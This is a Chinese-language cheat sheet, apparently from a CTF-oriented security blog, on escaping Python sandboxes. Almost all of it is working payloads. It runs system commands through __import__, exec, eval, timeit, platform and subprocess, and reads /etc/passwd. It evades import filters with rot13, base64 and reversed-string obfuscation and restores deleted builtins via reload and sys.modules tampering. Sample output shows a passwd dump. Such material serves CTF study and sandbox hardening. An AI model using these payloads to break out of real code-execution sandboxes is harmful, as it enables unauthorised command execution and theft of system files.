python沙箱逃逸

命令执行

  • _ import _()函数

    1
    __import__("os").system("ls")
  • os 执行系统命令

    1
    2
    import os
    os.system('ipconfig')
  • exec 任意代码执行

    1
    exec('__import__("os").system("ipconfig")')
  • eval 任意代码执行

    1
    eval('__import__("os").system("ipconfig")')
  • execfile 执行一个文件

    1
    execfile('/usr/lib/python2.7/os.py')
  • compile

    1
    compile('a = 1 + 2', '<string>', 'exec')
  • timeit 本是检测性能的,也可以任意代码执行

    1
    2
    import timeit
    timeit.timeit("__import__('os').system('ipconfig')",number=1)
  • platform

    1
    2
    import platform
    platform.popen('ipconfig').read()
  • subprocess

    1
    2
    import subprocess
    subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
  • importlib模块

    1
    2
    3
    4
    import importlib
    importlib.import_module('os').system('ls')
    # Python3可以,Python2没有该函数
    importlib.__import__('os').system('ls')

读文件

  • file

    1
    file('/etc/passwd').read()
  • open

    1
    open('/etc/passwd').read()
  • codecs

    1
    2
    import codecs
    codecs.open('/etc/passwd').read()

获取当前Python环境

  • sys模块
    1
    2
    import sys
    sys.version

绕过

禁止引入敏感包

通过一些编码来进行混淆

1
2
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

配合getattr函数

这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性

1
2
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
1
2
3
4
5
6
7
8
9
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> __builtins__.__dict__['__tropmi__'[::-1]]('b3M='.decode('base64'))
<module 'os' from 'C:\Python27\lib\os.pyc'>

删除builtins中的函数

可以通过reload重新导入__builtins__模块

1
reload(__builtin__)

reload也是builtins中的一个函数,假如它也被删了的话,还可以尝试一个imp的模块

1
2
import imp
imp.reload(__builtin__)

修改sys.modules

1
2
3
4
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
1
2
3
4
5
6
7
8
9
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

通过类的继承关系找到被ban掉的库

与模板注入类似

参考: